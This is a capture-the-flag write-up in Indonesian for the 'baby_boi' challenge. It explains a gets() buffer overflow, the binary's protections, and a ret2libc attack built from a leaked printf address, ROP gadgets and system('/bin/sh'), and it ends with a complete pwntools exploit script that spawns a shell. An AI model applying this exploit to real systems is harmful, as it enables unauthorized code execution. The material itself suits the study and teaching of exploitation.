Diberikan sebuah binary, libc library, dan source code C:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv[]) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[32]; printf("Hello!\n"); printf("Here I am: %p\n", printf); gets(buf); } |
Dari konfigurasi binary ini, tiap poin mempunyai maksud tersendiri:
- Binary yang diberikan adalah 64-bit binary dan Not Stripped
- Partial RELRO: RELRO sendiri adalah singkatan dari Relocation Read-Only, dimana dalam hal ini yang digunakan adalah Partial RELRO yang berarti untuk Global Offset Table (GOT) dan Procedure Linkage Table (PLT) tidak bersifat read-only.
- No canary found: Canary dalam stack berfungsi untuk mencegah serangan dimana jika canary address yang digunakan tidak sesuai dengan yang ada di dalam program, maka stack akan menjadi corrupted dan program akan di terminate. Untuk konfigurasi ini berarti di dalam stack tidak terdapat canary yang dimana jika ada, dalam beberapa kasus kita harus leak canary address untuk kita gunakan dalam exploit kita.
- NX enabled: NX sendiri merupakan singkatan dari non-executable. Konfigurasi ini mencegah setiap segment pada memory program untuk tidak writable DAN executable. Jika konfigurasi ini menyala, maka program tidak akan menjalankan code yang berasal dari luar program.
- No PIE: PIE adalah singkatan dari Position Independent Executable. Konfigurasi ini akan memberitahu apakah program akan memiliki address yang berbeda-beda atau tidak setiap kali dijalankan. Dengan No PIE ini, maka hampir semua address bersifat statis.
Mari kita coba jalankan binary tersebut.
Dari source code C yang diberikan, program cukup straightforward. Dimana terdapat variable buf dengan besar array 32, lalu program akan mencetak address dari printf, lalu program akan terima input dengan fungsi gets. Untuk fungsi gets, dari manual memang terlihat mempunyai kelemahan buffer overflow yang dapat kita gunakan.
Lalu apa yang bisa kita lakukan?
Pada umumnya, untuk model soal yang dimana kita diberikan file libc, pasti akan memiliki hubungan dengan file tersebut seperti ret2libc. Jadi karena ini merupakan soal level baby, maka sepertinya kita perlu untuk spawn shell dengan bantuan libc yang diberikan.
Pada soal ini, kita sudah diberikan bantuan berupa address dari printf yang ada dalam memory binary. Lalu apa yang bisa kita cari dengan informasi ini?
Dengan adanya address printf pada memory, kita bisa mencari libc base address dengan perhitungan sebagai berikut:
libc_base = printf_memory_address – address printf pada libc
Dari sini, apa saja yang kita butuhkan untuk mengexploit program ini dan mendapatkan shell? Ada beberapa hal:
- System offset
- /bin/sh offset
- pop rdi; ret; gadget
- ret; gadget
Mengapa kita perlu:
- System offset: Karena kita ingin memanggil fungsi system yang berada dalam libc sehingga kita memerlukan offset ini.
- /bin/sh offset: Sama halnya dengan system offset, kita perlu ini untuk memanggil string “/bin/sh” yang ada di dalam libc.
- pop rdi; ret; gadget: Karena dalam 64-bit binary, parameter sebuah fungsi di masukkan ke dalam register RDI, RSI, RDX, RCX, R8, dan R9, untuk selebihnya akan dimasukkan ke dalam stack. Karena untuk parameter fungsi system hanya ada 1, maka kita memerlukan RDI untuk dikosongkan dan kemudian untuk menunjuk ke alamat yang kita mau yakni “/bin/sh” pada libc sebagai parameter dari fungsi system.
- ret; gadget: Gadget ini diperlukan untuk menunjuk ke alamat fungsi yang akan kita panggil.
Lalu bagaimana cara mencari keempat alamat tersebut?
Untuk mencari offset, dapat digunakan perhitungan berikut:
offset = libc_base + address <yang dibutuhkan> pada libc
Dan untuk mencari alamat gadget, dapat digunakan command sebagai berikut:
$ ROPgadget –binary <binary soal>
Dari sana, kita tinggal mencari alamat gadget yang sesuai dengan yang kita butuhkan.
Dengan begitu, kita tinggal mencari kebutuhan kita dengan cara diatas.
1 2 3 4 5 6 7 8 9 |
elf = ELF("./baby_boi") libc = ELF('./libc-2.27.so') r = process(elf.path) r.recvline() printf_memory_addr = int(r.recvuntil("\n").split(' ')[3], 16) libc_base = printf_memory_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] bin_sh = libc_base + libc.search('/bin/sh').next() |
Setelah mendapatkan offset dari system dan “/bin/sh”, kita tinggal mencari gadget address.
Disini kita mendapatkan address untuk:
- pop rdi; ret; -> 0x0000000000400793
- ret; -> 0x000000000040054e
Dengan begini, semua yang kita perlukan untuk mendapatkan shell sudah terpenuhi. Yang perlu kita lakukan sekarang adalah menyusun payload exploit. Rencana exploit kita adalah sebagai berikut:
- Mengisi buffer
- Overwrite RBP
- Pop rdi; ret;
- Mengisi alamat /bin/sh agar RDI menunjuk pada alamat tersebut
- ret;
- Alamat system
Berikut adalah script exploitnya yang full:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
from pwn import * # Get the gadget addresses from ROPgadget pop_rdi = 0x400793 ret = 0x40054e '''ret2libc attack pattern: - buffer - overwrite rbp - pop rdi; ret - address of /bin/sh - ret gadget - address of system in 64-bit program, the call of a function is as following: - a place for function's argument - argument - exit - the function address ''' def exploit(): r.recvline() # Get printf address in binary printf_memory_addr = int(r.recvuntil("\n").split(' ')[3], 16) log.info('printf addr in memory: {}'.format(hex(printf_memory_addr))) log.info('printf addr in libc: {}'.format(hex(libc.symbols['printf']))) # Calculate libc base address libc_base = printf_memory_addr - libc.symbols['printf'] log.info('libc base: {}'.format(hex(libc_base))) # Calculate system offset system_addr = libc_base + libc.symbols['system'] log.info('system addr: {}'.format(hex(system_addr))) log.info('pop rdi; ret; addr: {}'.format(hex(pop_rdi))) # Calculate /bin/sh offset bin_sh = libc_base + libc.search('/bin/sh').next() log.info('/bin/sh addr: {}'.format(hex(bin_sh))) # Fill the buffer payload = "a" * 32 # More padding payload += "b" * 8 # Prepare the place for system's argument payload += p64(pop_rdi) # System's argument payload += p64(bin_sh) # Return gadget payload += p64(ret) # Call the system payload += p64(system_addr) # Send the payload r.sendline(payload) # Prompt interactive mode since we have the shell now r.interactive() elf = ELF("./baby_boi") libc = ELF('./libc-2.27.so') r = process(elf.path) #r = remote("pwn.chal.csaw.io", 1005) exploit() |